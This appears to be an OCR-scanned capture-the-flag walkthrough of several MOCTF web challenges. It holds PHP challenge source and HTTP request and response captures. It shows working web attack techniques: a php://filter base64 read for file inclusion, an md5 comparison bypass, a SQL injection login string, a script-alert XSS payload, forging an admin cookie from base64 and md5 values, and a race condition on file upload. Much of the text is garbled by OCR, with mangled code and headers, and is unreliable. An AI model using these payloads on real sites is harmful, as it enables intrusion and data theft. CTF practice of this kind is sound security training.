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<?php
include "flag.php";
highlight file(__ FILE_ );

if (isset($_GET['money'])) {
$money=$_GET[ "money"'];
if(strlen($money)<=48&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}

else echo "Wrong Answer!";

else echo "Wrong Answer!";
?>

Wrong Answer!

if(strlen($money)<=48&&3$money>time()&&!is_array($money))t £/~ T4 T4, money kT~ iy i [ K
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Tc?php
echo time(); 1569508657

% Hitime(), (CINITE
AEeRE, BrCAARE ALK T i sed

payload:Hezgit, Fl2Eid%7%,9e10
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welcome to MOCTF!

% Ffile=welcome.txt

< C O @ F==| 119.23.73.3:5001/web8/index.php?file=flag.php
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I have a flag!

flag.phpf71E
AH PR, Hphpfh 0, & a2l php:/filter/resource=flag.php

« > G o @ 119.23.73.3:5001/web8/index.php?file=php:/ffilter/resource=flag.php
il
Byaisszs @ Fxtle DO=Emm O s '

| have a flag!

ik php:/ffilter/read=convert.base64-encode/resource=flag.php

« = O & O] 119.23.73.3:5001/web8/index.php?ﬂ|e=php://filter/read:conver‘t.base64—enc0de/resot;rce=ﬂag. e
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[] Postdata [] Referer [] User Agent [] Cookies
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flag.php
where_is_flag.php
I_have_a_flag.php
I_have_a_frog.php
no_flag.php
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Request
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Follow redirection

Clear All

Response
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GET fweb7/flag.php HTTP/.1
Host: 119.23.73.3:5001

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text'himi application/xhtmi+xmil application/xml,g=0.9 */*;,q=0.8

Accept-Language: zh-CN zh;g=0.8,zh-TW.g=0.7 zh-HK;q=0.5 en-U5;g=0 3,en;q=0.2

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Referer: hitp://119.23.73.3:5001 hweb7/
Upgrade-Insecure-Requests: 1

| have a pen,| have an apple. (Uhh~)Apple-pen! i

E HTTP/1.1 302 Found

Date: Sun, 29 Sep 2019 14:10:51 GMT
Server: Apache/2. 4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4. 14
Location: ‘where_is_flag php
Content-Length: 15
Connection: close
Content-Type: textthtrnl

whizre is flag!
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b7/ Magfrog.php HTTP/M.1 A HTTRi1.1 302 Found
9.23.73.3:5001 F Date: Sun, 25 Sep 2019 14:08:20 GMT
ent: Mozila/5.0 (Windows NT 10.0; Wing4; x84, rv:69.0) Gecko/20100101 Firefox/69.0 Server: Apache/2.4.7 (Ubuntu)
ext’html application/x htmk+xml application/xml g=0.9 */*,q=0.8 X-Powered-By: PHP/3.5.9-1ubuntud. 14
.anguage: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK,g=0.5 en-U5,g=0.3 en;,g=0.2 Location: ./no_flag. php
snceding: gzip, deflate Content-Length: 31

Connection: close
ion: close Content-Type: text/html
hitp:4/119.23.73.3.5001 /web7/
-Insecure-Requests: 1 Flag: moctf{whdre_1s_The_ F149}
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<2php
$Flag="mocti[FrrrrrRRRRRERE]::

if (isset(3_GET['a)édisset(3_GETIET)) {
Fa=3_GET['a';
Fb=3_GETT'WT;

if($a==$b)
{
echo "<cepter?Wrong Answer!s/centers";

}

else {
iFmd s{$a)==md 5($b))
{
echo "<centers" . $flag. "</ centers";
echo "By:daoytian;

}

else echo "<center>Wrong Answer!</centers";

¥
else echo "ccenter>BE BN MBEL S &< centers";
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https://baike.baidu.com/item/%25E6%259A%2582%25E6%2597%25B6%25E9%2587%258D%25E5%25AE%259A%25E5%2590%2591/580233
https://baike.baidu.com/item/%25E6%2590%259C%25E7%25B4%25A2%25E5%25BC%2595%25E6%2593%258E%25E8%259C%2598%25E8%259B%259B/9781549

name="or "1"="'%#4&pass=1

id="name" name="name" size="30" type="text” value="b¢.l'ddx.fdl>

=dl class="form-group™><=dt class="input- latrel'klabel i "off
name="name"># i </label></dt=<dd=<inp =T class="f
id="password” name="pass" size="30" type="password"></dd=</dl>

<centers<input type="submit” class="btn bin-primary~ style="width:100%;" value="1f jt"></cen

<fform=
</div>
</div=
</div>
</body>
</htmi=
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<script=alert(' B R & I !");</script></- mosTEEL g 0 sias g ==t
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RIGRFEL A —%Dear: MyBoss fi&url:postText=1&Dear=MyBoss

ALUEPL LEX LTI, - WATILITH+RITH, : TR R TY.Y
Accept-Language: zh-CM zh;g=0.8,zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;qg=0.2
Accept-Enceding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

DNT: 1

Connection: close

Referer: http://119.23.73.3:50068/web1/post. html

Cockie: PHPSESSI|D=ugpbr341ndfrStfuiajiu@mhrl

Upgrade-Insecure-Regquests: 1

postText=1&Dear=NMyBoss

SKEREIDFT

) 1 1 1

A-FUWEIEU-DY. FOFD.0.09- TUDUNIUS . 13
Dear: MyBoss

Vary: Accept-Encoding
Content-Length: 137

Connection: close

Content-Type: text'html

<script language=javascript'=alert('moctf{00.c00_BBoo_0os)');</script=<script
language=Tjavascript>window.location="index.php";</script=
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OST fweb® HTTRM A

lost: 119.23.73.3:5001

Iser-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; rv:69.0) Geckor201 00101 Firefox/§9.0
coept: text’html application/xhtmb-xml application/xml;g=0.9 **q=0.8
ccept-Language: zh-CM zh;g=0.8, zh-TW,;g=0.7 zh-HK;g=0.5,en-US;q=0.3 en;q=0.2
ccept-Enceding: gzip, deflate

ontent-Type: applicationf-www-ferm-urlencoded

wontent-Length: 17

INT: 1

‘onnection: close

leferer: hittp://119.23.73.3:5001 web®

Ipgrade-Insecure-Reguests: 1

ser=admindpass=1

HTTR1.1 200 OK

Date: Mon, 30 Sep 2019 02:37:52 GMT

Server: Apache/2.4.7 (Ubuntu)

#-Powered-By: PHP/5.5.8-1ubuntud 14

Set-Cookie: login=2WUxMWNIYJESMDUyZ TQWYjA3YWFMGNhMDYwYz[zZWU%3D
Vary: Accept-Encoding

Content-Length: 493

Connection: close

Content-Type: text/html, charset=utf-8

BFEAED) Y WBadmin < {7admin A {7 flag--=<htri=
<head=>
=meta hitp-equiv="Content-Type” content="text/html; charset=UTF-8">
<title=Login</itle=
=head>
<body=
=hr>

BHFFEcookie, fi % cookie, 4t Hbaseb4fif % http://web.chacuo.net/charsetbase64

Base64rd{®|[ ®| EEFEE: [gb2312RE (i) v

ZWUXMWNIYJESMDUYZTQWYjASYWFMGNhMDYwYzlzZZWU%3SD
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md5_16:7a57a5a743834a0e
InleiaY21232f297a57a%5a743894a0e4a801fc3
sha1:d033e22ae348aeb5660fc2140aec35850c4dag9r

Base6dr{®|[ %] EEFEE: [gb2312RE (AR v
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Raw | Params | Headers | Hex Raw | Headers | Hex | Render

POST fweb® HTTR/M .1 A HTTR/1.1 200 OK

Hest: 118.23.73.3:5001 r Date: Mon, 30 Sep 2019 02:45:30 GMT

User-Agent: Mozila/5.0 (Windows NT 10.0; Wing4; x64; rv.69.0) Gecko/20100101 Firefox/69.0 Server: Apache/2 4.7 (Ubuntu)

Accept: text/html, lication/xhtrml+xm, lication/xml,q=0.9,*/*,q=0.8 X-Powered-By: PHP/5.5.9-1ubuntud 14

Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2 Set-Cookie: legin=2WUxMWNIYJESMDUyZTQwYAIYWFMGNAMDYwYzIzZWLU% 3D
Accept-Enceding: gzip, deflate Vary: Accept-Encoding

Referer: http:/i119.23.73 3:500 1/ web9/ Content-Length: 106

Content-Type: lic aticn/x-www-form-urk ded Connection: close

Content-Length: 17 Content-Type: text/html; charset=utf-8

DNT: 1

Connection: close

Cookie: login=MEy MzJmMjk3¥TUIYTVhNZQzODKOYTBINGE4MDFmYzM=
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

BFR & Wladmin<!-5 {7 admin A {1 fiag-- =<:'--mocrf(cuome_m_fnre:@ung}l-:=<;--B_-;.‘dao_war:--::

user=admindpass=1

BB TE) i BE 1
8L H 15 W f /2 index2.php, 2 skindex.php iy i), 2420 Fburpd e, 75 Bk el Index2.php 7 11

GET /web2/index.php HTTP/M.1 " HTTP/1.1 302 Found
Host: 119.23.73.3:5006 r Date: Tue, 01 Oct 2019 08:30:39 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Server: Apache/2 4.7 (Ubuntu)
Accept: text'html applic ation/x htmil+xml application/xml,g=0.9 **.q=0.8 ¥-Powered-By: PHP/5.5.8- 1ubuntud. 14
Accept-Language: zh-CN zh;g=0.8 zh-TW.g=0.7 zh-HK;g=0.5 en-U5,q=0.3,en;q=0.2 Location: index 2. php
Accept-Enceding: gzip, deflate Content-Length: 33
DMT: 1 Connection: close
Connection: close Content-Type: text'html
Upgrade-Insecure-Requests: 1

May be u need uploadsomething.php

V7 il uploadsomething.php

C @ F==£| 119.23.73.3:5006/web2/uploadsomething.php

STUDY OTHERS dba+web security... CTF linux =ESMF (B QuErE Mois

Filename

Submit

C 1 ©® F==| 119.23.73.3:5006/web2/uploadsomething.php?filename=18&content=1

OTHERS dba+web security... CTF linux =EHF (&) QoHE Moisli - Improve F... (GEEErEERE. @ Uchallenge EY @ Re

Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/fff3358b98h22da9f8ecalaf2 1ec4 96Saal7hda8/1

< C 0 @ A&=£| 119.23.73.3:5006/web2/uploads/fff3358b Oaf31ec4969aa07bd98/1
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Too slow!
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https://blog.csdn.net/u011377996/article/details/79511160
http://wiki.secbug.net/web_race-condtion.htmi
SN N filenameflcontent () F— /N1, E

@ @ @ 119.23.73.3:5006/web2/uploadsomething.php?filename=1&content=1
\
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Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/fff3358b98b22da9f8ecalaf31ec4969aa07bd98/1
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